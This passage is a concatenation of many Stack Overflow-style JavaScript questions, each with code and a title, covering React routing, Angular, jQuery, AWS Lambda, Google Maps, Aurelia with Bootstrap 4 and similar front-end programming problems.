id= '' slider '' style= '' position : relative ; width : 150px ; top : 4px ; float : left ; '' > < /div > < div id= '' value '' style= '' float : left ; '' > 0 < /div > < /div >",filling circle with hexagons ( different approach ) "JS : I 'm building an Isomorphic app using React , react-router v3 and material-ui . One of the requirements of material-ui in server-side rendering is to pass to the theme the client 's user agent , so MUI will be able to prefix their inline styles accordingly . Originally the root component of the app was the router , i.e on the server side : And on the client : Now , since I did n't know how to pass the user agent to the RouterContext on the server , I came up with an ( ugly ? ) solution : I 've created a useless component named Root , to whom I passed the user agent , and Root had the router as his children , i.e . on the server side : and on the client : Now , everything works well but I do n't really like creating that useless element if I do n't have to , so my question is - is there a better way ? Can I somehow pass the user agent to RouterContext on the server , which will in turn pass it to the Index Route which will create the theme ? Here 's the code of Root if someone 's interested : < RouterContext { ... renderProps } / > < Router children= { routes } history= { browserHistory } / > < Root userAgent= { userAgent } > < RouterContext { ... renderProps } / > < /Root > < Root > < Router children= { routes } history= { browserHistory } / > < /Root > class Root extends React.Component { constructor ( props ) { super ( ) ; this.muiTheme = getMuiTheme ( customTheme , { userAgent : props.userAgent } ) ; } render ( ) { return ( < MuiThemeProvider muiTheme= { this.muiTheme } > { this.props.children } < /MuiThemeProvider > ) ; } }",Passing props from react router to children on the server "JS : What are the best practices for creating libraries ? I 've been developing for nearly 10 years now , and have been building my library as I work.The way I currently have it setup follows this pattern : My Library has files in css/js/php/as3 but to avoid confusion I 've seperated them each into their separate library like : MYLIB_JS etc ... Inside the JS library for example , I have WebGL , Canvas , JQuery , Regular JS classes ( if we 'll call them that ) .As you can see it 's a bit of a mess , so I 'm trying to learn what others are doing , so I made a list of quick questions : HOW TO HANDLE : Different languages ? Different platforms ( is that what it 's called ? WebGL , Canvas , JQuery etc.. ) ? Different projectsExternal Libraries , and dependenciesAs I was researching I thought of Google , and I asked myself how they handle their Google Maps Library for example , they must have a general Google library with a bunch of utility functions , but there are also files just for Google Maps , and they have a backend maybe PHP and a JS front end , so how is it all managed ? Thank 's for all your help : DPS . I use Git for the version control work MYLIB.SomeUtility.utilFunc ( ) ; new MYLIB.SomeProject.ProjectClass ( ) ; //project specific classes//Sometimes I have classes that extends external libraries , //like JQuery , or KinteticJS objectsnew MYLIB.SomeExternalLibrary.ExternalLibraryClass ( ) ;",Best practices for Libraries and namespaces "JS : Considering the basic scenario of usage , doandbehave exactly the same in supported browsers ? Can we fall back to vanilla in pre-ES6 applications just because of favourable syntax or mix both of them without any side effects ? foo.bar = 'baz ' ; Object.defineProperty ( foo , 'bar ' , { value : 'baz ' , configurable : true , enumerable : true , writable : true } ) ;",Object.defineProperty vs vanilla property JS : On github i see this path to a file : What does the `` /__/ '' stands for ? importScripts ( '/__/firebase/3.8.0/firebase-app.js ' ) ; importScripts ( '/__/firebase/3.8.0/firebase-messaging.js ' ) ; importScripts ( '/__/firebase/init.js ' ) ;,what does slash double underscore slash mean ? /__/ "JS : I am trying to achieve mouseOver effect like this.I am able to generate css3d matrix required for each and every tile according to their position.I have achieved this effect with slow mouse movement , but if I am moving fast from one tile to another tile its notupdating properly . its showing gap in between tiles . What is the best way to update all the tile/tile co-ordinates on mouseover so that i get consistent effect ? here is my js code : BLEND.TransformElement ( el , src , dest ) in my code gives CSS3D matrix , it 's working fine . I need to update vertices properly.Here is my html and CSS : I am doing all this this from start without using any external plugin for that particular effect . Please suggest some solution.I have stored all the vertices of all tiles and updating it on mouseover . as soon as I mouseover from one tile to another animation for resetting vertices values from new one to original stops . How can I fix vertices update problem on mouseenter and mouseleave envent . $ ( '.box ' ) .each ( function ( ) { $ ( this ) .css ( 'height ' , '284px ' ) ; $ ( this ) .css ( 'width ' , '284px ' ) ; } ) ; generateGrid = function ( w , h ) { var t = this ; this.p = [ ] ; var d = 30 ; var c = Math.floor ( $ ( '.w ' ) .outerWidth ( ) / 284 + 1 ) ; var r = Math.ceil ( $ ( '.w ' ) .outerHeight ( ) / 284 ) + 1 ; var vc = c * r ; for ( i = 0 ; i < vc ; i++ ) { var l = { x : Math.floor ( i % c ) * 284 , y : Math.floor ( i / c ) * 284 } ; this.p.push ( l ) ; } var m = m || { } ; m.Grid = function ( ) { this.elms = [ ] ; this.init ( ) ; } , m.Grid.prototype = { init : function ( ) { this.createTiles ( ) ; } , animateTile : function ( ) { var e = this ; for ( i = 0 ; i < e.elms.length ; i++ ) { console.log ( i ) ; e.elms [ i ] .update ( ) ; } requestAnimationFrame ( $ .proxy ( this.animateTile , this ) ) ; } , createTiles : function ( ) { var c = this ; for ( i = 0 ; i < $ ( '.box ' ) .length ; i++ ) { c.elms.push ( new m.tile ( $ ( '.box : eq ( ' + i + ' ) ' ) , i ) ) ; } c.animateTile ( ) ; } } , m.tile = function ( e , i , pt ) { this.el = e ; this.i = i ; var p = t.p ; this.elX = Math.floor ( i % 4 ) * 284 , this.elY = Math.floor ( i / 4 ) * 284 , this.p1 = p [ i + Math.floor ( i / 4 ) ] , this.p2 = p [ i + Math.floor ( i / 4 ) + 1 ] , this.p3 = p [ i + Math.floor ( i / 4 ) + 6 ] this.p4 = p [ i + Math.floor ( i / 4 ) + 5 ] ; this.init ( ) ; } , m.tile.prototype = { init : function ( ) { this.initEvents ( ) ; } , initEvents : function ( ) { var e = this ; var pts = t.p ; var p1 = pts [ e.i + Math.floor ( i / 4 ) ] , p2 = pts [ e.i + Math.floor ( i / 4 ) + 1 ] , p3 = pts [ e.i + Math.floor ( i / 4 ) + 6 ] , p4 = pts [ e.i + Math.floor ( i / 4 ) + 5 ] ; $ ( e.el ) .hover ( function ( ) { TweenMax.killTweensOf ( p1 ) , TweenMax.killTweensOf ( p2 ) , TweenMax.killTweensOf ( p3 ) , TweenMax.killTweensOf ( p4 ) , TweenMax.to ( p1 , .3 , { x : p1.x - d , y : p1.y - d , ease : Back.easeOut } ) , TweenMax.to ( p2 , .3 , { x : p2.x + d , y : p2.y - d , ease : Back.easeOut } ) , TweenMax.to ( p3 , .3 , { x : p3.x + d , y : p3.y + d , ease : Back.easeOut } ) , TweenMax.to ( p4 , .3 , { x : p4.x - d , y : p4.y + d , ease : Back.easeOut } ) , TweenMax.to ( e.el , .3 , { zIndex : 10 , ease : Back.easeOut } ) ; } , function ( ) { TweenMax.killTweensOf ( p1 ) , TweenMax.killTweensOf ( p2 ) , TweenMax.killTweensOf ( p3 ) , TweenMax.killTweensOf ( p4 ) ; TweenMax.to ( p1 , .7 , { x : p1.x + d , y : p1.y + d , ease : Back.easeOut } ) , TweenMax.to ( p2 , .7 , { x : p2.x - d , y : p2.y + d , ease : Back.easeOut } ) , TweenMax.to ( p3 , .7 , { x : p3.x - d , y : p3.y - d , ease : Back.easeOut } ) , TweenMax.to ( p4 , .7 , { x : p4.x + d , y : p4.y - d , ease : Back.easeOut } ) , TweenMax.to ( e.el , .7 , { zIndex : 0 , ease : Back.easeOut } ) ; } ) ; } , update : function ( ) { var e = this ; var pts = t.p ; var p1 = pts [ e.i + Math.floor ( i / 4 ) ] , p2 = pts [ e.i + Math.floor ( i / 4 ) + 1 ] , p3 = pts [ e.i + Math.floor ( i / 4 ) + 6 ] , p4 = pts [ e.i + Math.floor ( i / 4 ) + 5 ] ; BLEND.TransformElement ( { el : e.el [ 0 ] , src : [ { x : 0 , y : 0 } , { x : w , y : 0 } , { x : w , y : h } , { x : 0 , y : h } ] , dest : [ { x : p1.x - e.elX , y : p1.y - e.elY } , { x : p2.x - e.elX , y : p2.y - e.elY } , { x : p3.x - e.elX , y : p3.y - e.elY } , { x : p4.x - e.elX , y : p4.y - e.elY } , ] } ) ; } } ; t.grid = new m.Grid ( ) ; } ; generateGrid ( 284 , 284 ) ; < style > .box { float : left ; background : # 2b5349 ; transform-origin : 0px 0px ; } < /style > < div class= '' w '' style= '' margin-bottom:190px ; display : inline-block ; width : calc ( 284px * 4 ) ; margin:100px auto ; '' > < div class= '' box '' style= '' background : red '' > < /div > < div class= '' box '' style= '' background : # 2b5349 '' > < /div > < div class= '' box '' style= '' background : green '' > < /div > < div class= '' box '' style= '' background : blue '' > < /div > < div class= '' box '' style= '' background : darkgoldenrod '' > < /div > < div class= '' box '' style= '' background : fuchsia '' > < /div > < div class= '' box '' style= '' background : lightpink '' > < /div > < div class= '' box '' style= '' background : mediumspringgreen '' > < /div > < div class= '' box '' style= '' background : burlywood '' > < /div > < div class= '' box '' style= '' background : orange '' > < /div > < div class= '' box '' style= '' background : gold '' > < /div > < div class= '' box '' > < /div > < /div >",MouseOver CSS3D effect with javascript "JS : I need help with a modal that fires when user is idle . It works great until I test on Firefox with NVDA running . There are issues with focus when using the arrow keys and when I swipe on a mobile . When the modal appears and the user uses arrow or swipes the focus will bounce from the yes button to the header after a few seconds if I wait to click it . I have loaded the working example to : https : //jsfiddle.net/ncanqaam/I changed the idle time period to one minute and removed a portion which calls the server to extend the user 's session . var state = '' L '' ; var timeoutPeriod = 540000 ; var oneMinute = 60000 ; var sevenMinutes = 60000 ; var lastActivity = new Date ( ) ; function getIdleTime ( ) { return new Date ( ) .getTime ( ) - lastActivity.getTime ( ) ; } //Add Movement Detectionfunction addMovementListener ( ) { $ ( document ) .on ( 'mousemove ' , onMovementHandler ) ; $ ( document ) .on ( 'keypress ' , onMovementHandler ) ; $ ( document ) .on ( 'touchstart touchend ' , onMovementHandler ) ; } //Remove Movement Detectionfunction removeMovementListener ( ) { $ ( document ) .off ( 'mousemove ' , onMovementHandler ) ; $ ( document ) .off ( 'keypress ' , onMovementHandler ) ; $ ( document ) .off ( 'touchstart touchend ' , onMovementHandler ) ; } //Create Movement Handlerfunction onMovementHandler ( ev ) { lastActivity = new Date ( ) ; console.log ( `` Something moved , idle time = `` + lastActivity.getTime ( ) ) ; } function hide ( ) { $ ( ' # overlayTY ' ) .removeClass ( 'opened ' ) ; // remove the overlay in order to make the main screen available again $ ( ' # overlayTY , # modal-session-timeout ' ) .css ( 'display ' , 'none ' ) ; // hide the modal window $ ( ' # modal-session-timeout ' ) .attr ( 'aria-hidden ' , 'true ' ) ; // mark the modal window as hidden $ ( ' # modal-session-timeout ' ) .removeAttr ( 'aria-hidden ' ) ; // mark the main page as visible } if ( state == `` L '' ) { $ ( document ) .ready ( function ( ) { //Call Event Listerner to for movement detection addMovementListener ( ) ; setInterval ( checkIdleTime , 5000 ) ; } ) ; function endSession ( ) { console.log ( 'Goodbye ! ' ) ; } var modalActive = false ; function checkIdleTime ( ) { var idleTime = getIdleTime ( ) ; console.log ( `` The total idle time is `` + idleTime / oneMinute + `` minutes . `` ) ; if ( idleTime > sevenMinutes ) { var prevFocus = $ ( document.activeElement ) ; console.log ( 'previously : ' + prevFocus ) ; var modal = new window.AccessibleModal ( { mainPage : $ ( ' # oc-container ' ) , overlay : $ ( ' # overlayTY ' ) .css ( 'display ' , 'block ' ) , modal : $ ( ' # modal-session-timeout ' ) } ) ; if ( modalActive === false ) { console.log ( modalActive ) ; $ ( ' # modal-session-timeout ' ) .insertBefore ( ' # oc-container ' ) ; $ ( ' # overlayTY ' ) .insertBefore ( ' # modal-session-timeout ' ) ; modal.show ( ) ; $ ( ' # modal-overlay ' ) .removeClass ( 'opened ' ) ; modalActive = true ; console.log ( modalActive ) ; console.log ( 'the modal is active ' ) ; $ ( '.js-timeout-refresh ' ) .on ( 'click touchstart touchend ' , function ( ) { hide ( ) ; modalActive = false ; prevFocus.focus ( ) ; addMovementListener ( ) ; lastActivity = new Date ( ) ; } ) ; $ ( '.js-timeout-session-end ' ) .on ( 'click touchstart touchend ' , function ( ) { hide ( ) ; $ ( ' # overlayTY ' ) .css ( 'display ' , 'none ' ) ; endSession ( ) ; } ) ; } } if ( $ ( ' # overlayTY ' ) .css ( 'display ' ) === 'block ' ) { removeMovementListener ( ) ; } if ( idleTime > timeoutPeriod ) { endSession ( ) ; } } }",Idle timeout warning modal working on screen reader "JS : I am making a call from a node middle-tier to a Java backend and passing a string as a query param . Everything works great until non-English alphabet character are used ( ex : ř , ý ) . When Java receives these characters it throws : This call works perfectly : This call fails with the above error : My question involves where to address this issue.I have found this utf8 encoder for node and was thinking about encoding my strings as utf8 before calling my Java layer in the future.Is that the correct approach or should I be doing something within Java ? Note , this is what my relevant request headers look like : parse exception : org.eclipse.jetty.util.Utf8Appendable $ NotUtf8Exception : Not valid UTF8 ! GET http : //localhost:8000/server/name ? name=smith GET http : //localhost:8000/server/name ? name=sořovský { ... accept : 'application/json , text/plain , */* ' , 'accept-encoding ' : 'gzip , deflate , sdch ' , 'accept-language ' : 'en-US , en ; q=0.8 , el ; q=0.6 ' , ... }",Enforce utf8 encoding in call from node to Java "JS : Here 's my jQueryWhen I mouseover , it works excellent , when I mouseout , it does n't reset , it re-plays the mouseover ... here is a fiddle of the problem so you can see what I mean : http : //jsfiddle.net/2tujd/ $ ( ' # samsungShine ' ) .mouseover ( function ( ) { $ ( ' # samsungShineImage ' ) .animate ( { `` margin-left '' : `` 304px '' } , 700 ) ; } ) .mouseout ( function ( ) { $ ( ' # samsungShineImage ' ) .css ( `` margin-left '' , `` -304px '' ) ; } ) ;",jQuery mouseover runs on mouseout "JS : I 'm trying to make two ways of filtering ( via clicking on letters or via typing in input field ) .and js : On first look everything is working fine , but it is so only on first look ... When at first I click on any letter - filter works good.When then I 'm typing in input field - filter works good.But after I typed in input field or delete text from there via 'backspace ' button - filter by clicking on letters stops working ... Why it works like this and how I can fix this issue ? Here is my DEMOThanx in advance ! < body ng-controller= '' MainController '' > < ul search-list= '' .letter '' model= '' search '' > < li class= '' letter '' ng-repeat= '' letter in alphabet.letter '' > { { letter } } < /li > < /ul > < div class= '' container '' ng-controller= '' CountriesController '' > < input id= '' q '' type= '' text '' ng-model= '' search `` / > < ul > < li ng-repeat= '' country in countries.country | filter : search : startsWith '' > { { country } } < /li > < /ul > < /div > < /body > var app = angular.module ( 'demo ' , [ ] ) ; var controllers = { } ; var alphabet = `` abcdefghijklmnopqrstuvwxyz '' .split ( `` '' ) ; app.directive ( 'searchList ' , function ( ) { return { scope : { searchModel : '=model ' } , link : function ( scope , element , attrs ) { element.on ( 'click ' , attrs.searchList , function ( ) { scope.searchModel = $ ( this ) .text ( ) ; scope. $ apply ( ) ; } ) ; } } ; } ) ; controllers.MainController = function ( $ scope ) { $ scope.setTerm = function ( letter ) { $ scope.search = letter ; } ; $ scope.alphabet = { letter : alphabet } } ; controllers.CountriesController = function ( $ scope ) { $ scope.countries = { country : [ 'Ukraine ' , 'Urugvai ' , 'Russia ' , 'Romania ' , 'Rome ' , 'Argentina ' , 'Britain ' ] } $ scope.startsWith = function ( actual , expected ) { var lowerStr = ( actual + `` '' ) .toLowerCase ( ) ; return lowerStr.indexOf ( expected.toLowerCase ( ) ) === 0 ; } } ; app.controller ( controllers ) ;",Does n't work two ways of filtering ( AngularJS ) "JS : If I have an object , such as : Then I can do a nested for loop to return true if a value is false by doing , If this object was n't nested , it 'd be a bit easier , I could do something like , Both approaches do n't really suit what I need , because the object can have 2 , 3 or more nested properties . I 've come up with a recursive way to figure this out , such as : But I 'm wondering if there 's a cleaner or more efficient way of achieving this ? I would expect the function to return the first false value that it sees , and break out of the function/for loop instantly . const obj = { field1 : { subfield1 : true , subfield2 : true , } , field2 : { subfield3 : true , } , field3 : { subfield4 : false , subfield5 : true , } } const findFalse = obj = > { for ( const field in obj ) { for ( const subfield in obj [ field ] ) { if ( ! obj [ field ] [ subfield ] ) return true } } } const findFalse = obj = > Object.keys ( obj ) .some ( prop = > ! obj [ prop ] ) ; const isObj = obj = > obj & & obj.constructor === Object ; const findFalseRecursively = obj = > { for ( const field in obj ) { if ( isObj ( obj [ field ] ) ) return findFalseRecursively ( obj [ field ] ) if ( obj [ field ] === false ) return true } }",A better vanilla JS approach to finding any false value in a nested object ? "JS : I have a < div > that 's vertically centered with the following CSS : That 's great as long as its height , which is not known beforehand , does not cause its translation to push it off the top off the screen in the case that the screen is too small.I have some javascript ( with jQuery ) to mitigate this : However , this is a bit ugly and , on the scale of resizing-a-window updating , is pretty slow . I 'd love a pure CSS/HTML approach , or failing that , a window.onresize function that does n't do so much calculation.jsFiddle .v-centered { position : relative ; top : 50 % ; transform : translateY ( -50 % ) ; } var $ myDiv = $ ( ' # myDiv ' ) , paddingTop = parseInt ( $ ( 'html ' ) .css ( 'padding-top ' ) ) ; window.onresize = ( ) = > { if ( $ myDiv.is ( '.v-centered ' ) ) { if ( $ myDiv.position ( ) .top < paddingTop ) { $ myDiv.removeClass ( ' v-centered ' ) ; } } else { if ( $ myDiv.height ( ) < document.body.offsetHeight ) { $ myDiv.addClass ( ' v-centered ' ) ; } } }",Set min top on vertically centered DIV "JS : Why does firefox ( have n't tested in another browser ) has problems loading form values when a # ; is in the addressbar ? If i have an < input type='radio ' checked= '' checked '' > , the presence of this element in the addressbar may lead to the input not actually getting checked ( as expected ) How can i avoid this behavior ? Example code : Edit2 : cleaned the code a little , added an echo < html xmlns= '' http : //www.w3.org/1999/xhtml '' xml : lang= '' en '' lang= '' en '' dir= '' ltr '' style= '' min-height:100 % ; '' > < head > < title > stuff2test < /title > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=utf-8 '' / > < /head > < body class= '' popup '' > < form action= '' '' id= '' frm '' > < a href= '' # ; '' onClick= '' alert ( 'added ' ) ; '' > add # ; to addressbar , and refresh < /a > < ? php $ rnd = mt_rand ( 1 , 4 ) ; ? > < label for= '' r_v1 '' > < input id= '' r_v1 '' type= '' radio '' value= '' v1 '' < ? php if ( $ rnd==1 ) { echo 'checked= '' checked '' ' ; } ? > name= '' r '' > < /input > checked ? < /label > < label for= '' r_v2 '' > < input id= '' r_v2 '' type= '' radio '' value= '' v2 '' < ? php if ( $ rnd==2 ) { echo 'checked= '' checked '' ' ; } ? > name= '' r '' > < /input > checked ? < /label > < label for= '' r_v3 '' > < input id= '' r_v3 '' type= '' radio '' value= '' v3 '' < ? php if ( $ rnd==3 ) { echo 'checked= '' checked '' ' ; } ? > name= '' r '' > < /input > checked ? < /label > < /form > < button onClick= '' getElementById ( 'frm ' ) .submit ( ) ; '' type= '' button '' > submit < /button > < br/ > RND : < ? php echo $ rnd ; ? > < ? php if ( $ rnd > 0 & & $ rnd < =3 ) { echo `` Checkbox { $ rnd } should be checked '' ; } ? > < br/ > < ? php var_dump ( $ _GET ) ; ? > < /body > < /html >",firefox having `` # ; '' in the addressbar "JS : I have a Serverless lambda function , in which I want to fire ( invoke ) a method and forget about itI 'm doing it with this wayI 've noticed that until and unless I do a Promise return in myFunction1 , it does not trigger myFunction2 , but should n't set the lambda InvocationType = `` Event '' mean we want this to be fire and forget and not care about the callback response ? Am I missing something here ? Any help is highly appreciated . // myFunction1 const params = { FunctionName : `` myLambdaPath-myFunction2 '' , InvocationType : `` Event '' , Payload : JSON.stringify ( body ) , } ; console.log ( 'invoking lambda function2 ' ) ; // Able to log this line lambda.invoke ( params , function ( err , data ) { if ( err ) { console.error ( err , err.stack ) ; } else { console.log ( data ) ; } } ) ; // my function2 handler myFunction2 = ( event ) = > { console.log ( 'does not come here ' ) // Not able to log this line }",Serverless : Fire and forget by invoke method does not work as expected "JS : I wonder why putting a comma at the end of a single element is legal in a JavaScript array : while putting it at the end of a single element in an object is illegal ( at least my IDE - WebStorm - is flagging about an error ) : Is this really illegal in JavaScript ? var array = [ 'foo ' , // no error in IDE ] var object = { 'foo ' : 'bar ' , // error in IDE }","`` , '' at the end of a single element in a object in javascript is illegal ?" JS : Limiting side effects when programming in the browser with javascript is quite tricky.I can do things like not accessing member variables like in this silly example : But what other things can I do to reduce side effects in my javascript ? let number = 0 ; const inc = ( n ) = > { number = number + n ; return number ; } ; console.log ( inc ( 1 ) ) ; //= > 1console.log ( inc ( 1 ) ) ; //= > 2,limiting side effects when programming javascript in the browser "JS : I am trying to expand an algebraic term . This is my attempt at it . I have tried a lot of ways trying to fix the problems below . Problems : Like terms should be added together ( x+1 ) ( x+1 ) ( x+1 ) should be valid . ( x+1 ) ^2 should be equal to ( x+1 ) ( x+1 ) x ( x+1 ) should be valid1x^n should just be x^nThere should be no 0x^n terms.nx^0 terms should just be nCode Snippet : Reference : How to calculate coefficients of polynomial expansion in javascriptGetting coefficients of algebraic termHow to get a term before a character ? ( x+1 ) ( x+1 ) /x = > x + 2 + x^-1 ( x+1 ) ^3 = > x^3 + 3x^2 + 3x + 1 ( x^2*x ) ( x^2 ) = > x^5 function split ( input ) { return ( ( ( ( input.split ( `` ) ( `` ) ) .toString ( ) ) .replace ( /\ ) /g , `` '' ) ) .replace ( /\ ( /g , `` '' ) ) .split ( ' , ' ) ; } function strVali ( str ) { str = str.replace ( /\s+/g , `` '' ) ; var parts = str.match ( / [ +\- ] ? [ ^+\- ] +/g ) ; // accumulate the results return parts.reduce ( function ( res , part ) { var coef = parseFloat ( part ) || + ( part [ 0 ] + `` 1 '' ) || 1 ; var x = part.indexOf ( ' x ' ) ; var power = x === -1 ? 0 : part [ x + 1 ] === `` ^ '' ? +part.slice ( x + 2 ) : 1 ; res [ power ] = ( res [ power ] || 0 ) + coef ; return res ; } , { } ) ; } function getCoeff ( coeff ) { var powers = Object.keys ( strVali ( coeff ) ) ; var max = Math.max.apply ( null , powers ) ; var result = [ ] ; for ( var i = max ; i > = 0 ; i -- ) result.push ( strVali ( coeff ) [ i ] || 0 ) ; return result ; } function evaluate ( expression ) { var term1 = getCoeff ( expression [ 0 ] ) ; var term2 = getCoeff ( expression [ 1 ] ) ; var expand = `` '' ; for ( var j = 0 ; j < term1.length ; j++ ) { for ( var i = 0 ; i < term2.length ; i++ ) { expand += Number ( term1 [ j ] * term2 [ i ] ) + ' x^ ' + ( Number ( term1.length ) - 1 - j + Number ( term2.length ) - 1 - i ) + ' + ' ; } } var final = `` '' ; for ( var Z = 0 ; Z < getCoeff ( expand ) .length ; Z++ ) { final += ' ' + getCoeff ( expand ) [ Z ] + ' x^ { ' + ( getCoeff ( expand ) .length - Z - 1 ) + ' } + ' ; } final = `` $ $ '' + ( ( ( ( ( ( final.replace ( /\+ [ ^\d ] 0x\^ \ { [ \d ] +\ } /g , '' ) ) .replace ( /x\^ \ { 0 } /g , '' ) ) .replace ( /x\^ \ { 1 } /g , ' x ' ) ) .replace ( / [ ^\d ] 1x\^ /g , '+ x^ ' ) ) .replace ( /\+ -/g , ' - ' ) ) .slice ( 0 , -1 ) ) .substring ( 1 , ( final.length ) ) + `` $ $ '' ; document.getElementById ( 'result ' ) .innerHTML = final ; MathJax.Hub.Queue ( [ `` Typeset '' , MathJax.Hub , document.getElementById ( 'result ' ) ] ) ; } function caller ( ) { var input = document.getElementById ( 'input ' ) .value ; evaluate ( split ( input ) ) ; } div.wrapper { width : 100 % ; height:100 % ; border:0px solid black ; } input [ type= '' text '' ] { display : block ; margin : 0 auto ; padding : 10px ; font-size:20px ; } button { margin : auto ; display : block ; background-color : white ; color : black ; border : 2px solid # 555555 ; padding-left : 20px ; padding-right : 20px ; font-size : 20px ; margin-top:10px ; } button : hover { box-shadow : 0 12px 16px 0 rgba ( 0,0,0,0.24 ) ,0 17px 50px 0 rgba ( 0,0,0,0.19 ) ; } < script type= '' text/javascript '' async src= '' https : //cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js ? config=TeX-MML-AM_CHTML '' > < /script > < div class='wrapper ' > < input id= '' input '' title= '' Enter Expression '' type= '' text '' value= '' ( x^2+x+1 ) ( x^2+x+1 ) '' > < /div > < div > < button onclick= '' caller ( ) '' > Click < /button > < /div > < div id= '' result '' > $ $ x^4 + 2x^3 + 3x^2 + 2x + 1 $ $ < /div >",Expansion of algebraic term "JS : I work on an angular 2 application . I have a google maps in it , with autocomplete . I have an input ( with google autocomplete ) , and a search button . When i hit the search button , I send the input data to google geocode , and put a marker on the map . It 's sounds simple , but after this , the angular2 data bindig just stop working . The input do n't get the formatted address , the addressIsValid dont turn on true.HTML : Code : } < div class= '' input-group '' > < input autocorrect= '' off '' autocapitalize= '' off '' spellcheck= '' off '' type= '' text '' class= '' form-control '' [ ( ngModel ) ] = '' addressInput '' # search id= '' address '' ( keydown ) = '' addressChanged ( ) '' > < div class= '' input-group-btn '' > < button id= '' addressSubmitButton '' type= '' submit '' class= '' btn btn-default '' [ class.btn-success ] = '' addressIsValid '' ( click ) = '' submited ( search.value ) '' > { { ( addressIsValid ? 'addressInput.success ' : 'addressInput.search ' ) | translate } } < /button > < /div > export class AddressInputComponent implements OnInit { public map : google.maps.Map ; public autocomplete : google.maps.places.Autocomplete ; private geocoder : google.maps.Geocoder = new google.maps.Geocoder ( ) ; public marker : google.maps.Marker ; public defaultZoom : number ; public defaultLat : number ; public defaultLng : number ; public errorCode : number ; private addressIsValid : boolean ; @ Input ( 'address ' ) private addressInput : string ; @ Output ( ) addressUpdated : EventEmitter < string > = new EventEmitter ( ) ; @ ViewChild ( `` search '' ) public searchElementRef : ElementRef ; constructor ( ) { this.addressIsValid = false ; } ngOnInit ( ) { this.defaultZoom = 7 ; this.defaultLat = 47.338941 ; this.defaultLng = 19.396167 ; this.errorCode = null ; this.autocomplete = new google.maps.places.Autocomplete ( this.searchElementRef.nativeElement , { types : [ `` address '' ] } ) ; this._setMapToDefault ( ) ; this.autocomplete.bindTo ( 'bounds ' , this.map ) ; this.autocomplete.addListener ( 'place_changed ' , ( ) = > { this.addressInput = this.autocomplete.getPlace ( ) .formatted_address ; } ) } private _setMapToDefault ( ) { this.map = new google.maps.Map ( document.getElementById ( 'map ' ) , { center : { lat : this.defaultLat , lng : this.defaultLng } , zoom : this.defaultZoom , scrollwheel : false , } ) ; this.marker = new google.maps.Marker ( ) ; this.marker.setMap ( this.map ) ; } submited ( ) { this.geocoder.geocode ( { 'address ' : this.addressInput } , ( results , status ) = > { if ( status == google.maps.GeocoderStatus.OK ) { setInterval ( this._changeInput ( results [ 0 ] ) , 200 ) ; } else { this.addressIsValid = false ; this.errorCode = 1 ; this._setMapToDefault ( ) ; } } ) ; } private _changeInput ( result ) { this.errorCode = null ; if ( result.address_components [ 0 ] .types [ 0 ] ! = `` street_number '' ) { this.addressIsValid = false ; this.errorCode = 2 ; this._setMapToDefault ( ) ; return ; } // jQuery ( ' # address ' ) .val ( result.formatted_address ) ; this.addressInput = result.formatted_address ; this.addressUpdated.emit ( this.addressInput ) ; this.addressIsValid = true ; this.map.setCenter ( result.geometry.location ) ; this.map.setZoom ( 17 ) ; this.marker.setPosition ( result.geometry.location ) ; this.marker.setVisible ( true ) ; } private addressChanged ( ) { if ( this.addressIsValid == true ) { this.addressIsValid = false ; this._setMapToDefault ( ) ; } }",Angular2 two-way binding stop work after google maps callback "JS : As of today , when I try to embed a sound with SoundCloud oEmbed I get the following Javascript error : Is this something I can fix on my server side or is this an issue which came up on SoundCloud 's side ? Cross-Origin Request Blocked",`` Cross-Origin Request Blocked '' with oEmbed ? "JS : I have a WordPress plugin that loads pages with AJAX and to ensure compatibility with other plugins and `` widgets . `` As of right now I use the following code to evaluate all inline JS that is inside the content blocks to be updated : I 'd like to be able to sandbox the JS a bit better so that the risk of conflicts are minimized . One idea I had was to dynamically create an < iframe > and run the JS inside of it , but I was hoping there was a bit better method to both ensure compatibility and increase security . function do_JS ( e ) { var Reg = ' ( ? : < script.* ? > ) ( ( \n|. ) * ? ) ( ? : < /script > ) ' ; var match = new RegExp ( Reg , 'img ' ) ; var scripts = e.innerHTML.match ( match ) ; var doc = document.write ; document.write = function ( p ) { e.innerHTML = e.innerHTML.replace ( scripts [ s ] , p ) } ; if ( scripts ) { for ( var s = 0 ; s < scripts.length ; s++ ) { var js = `` ; var match = new RegExp ( Reg , 'im ' ) ; js = scripts [ s ] .match ( match ) [ 1 ] ; js = js.replace ( ' < ! -- ' , '' ) ; js = js.replace ( ' -- > ' , '' ) ; eval ( 'try { '+js+ ' } catch ( e ) { } ' ) ; } } document.write = doc ; }",What is the best method to dynamically sandbox inline JavaScript ? "JS : I have the following in my aurelia.json file , among the rest of what you 'd usually find . I copied it directly from the reference implementation , and as you 'd therefore expect , it works fine.However , I 'm trying to migrate to Bootstrap 4 , and it just does n't seem to be working . In order to update the package , I 've tried changing build.bundles.dependencies [ ] .path to ../jspm_packages/github/twbs/bootstrap @ 4.0.0-beta as well as to ../node_modules/bootstrap-v4-dev/dist , but it does n't change the error code or make the error manifest any less . I 've also tried copying the v4 files into the dist folder for v3 , which also causes the same problem.Build is always clean ; the error occurs at run-time : EDIT : Thanks to Ashley Grant 's answer , I have updated Bootstrap through NPM , obviating any changes to aurelia.json . The error remains unchanged , which would seem to indicate a bug were it not for the fact that other people have successfully performed this migration without errors using the same toolchain.EDIT2 : I 've created steps to reproduce the bug : cd into the project directory.Add the two entries listed above to build.bundles [ 1 ] .dependencies in aurelia_project/aurelia.jsonChange src/app.html to the following : Finally , execute either of the following and browse to the provided URL.ORThis yields the errors described in both Google Chrome Version 55.0.2883.87 ( 64-bit ) and Mozilla Firefox 55.0.3 on my Arch Linux systems . I 've not yet had the opportunity to test it on other systems.Edit3 : Thanks to @ vidriduch , everything appears to be working . However , if you look at the console , you find the following : These are the two very first messages when the page loads in debug mode , but no other errors arise . { 'build ' : { 'bundles ' : [ 'name ' : 'vendor-bundle.js ' 'dependencies ' : [ `` jquery '' , { `` name '' : `` bootstrap '' , `` path '' : `` ../node_modules/bootstrap/dist '' , `` main '' : `` js/bootstrap.min '' , `` deps '' : [ `` jquery '' ] , `` exports '' : `` $ '' , `` resources '' : [ `` css/bootstrap.css '' ] } ] ] } } DEBUG [ templating ] importing resources for app.htmlUncaught TypeError : plugin.load is not a functionUnhandled rejection Error : Failed loading required CSS file : bootstrap/css/bootstrap.css $ au newname # can be any valid value2 # Selects TypeScript as the language1 # Create project structure1 # Install dependencies $ npm install jquery -- save $ npm install bootstrap @ ^4.0.0-beta -- save < template > < require from= '' 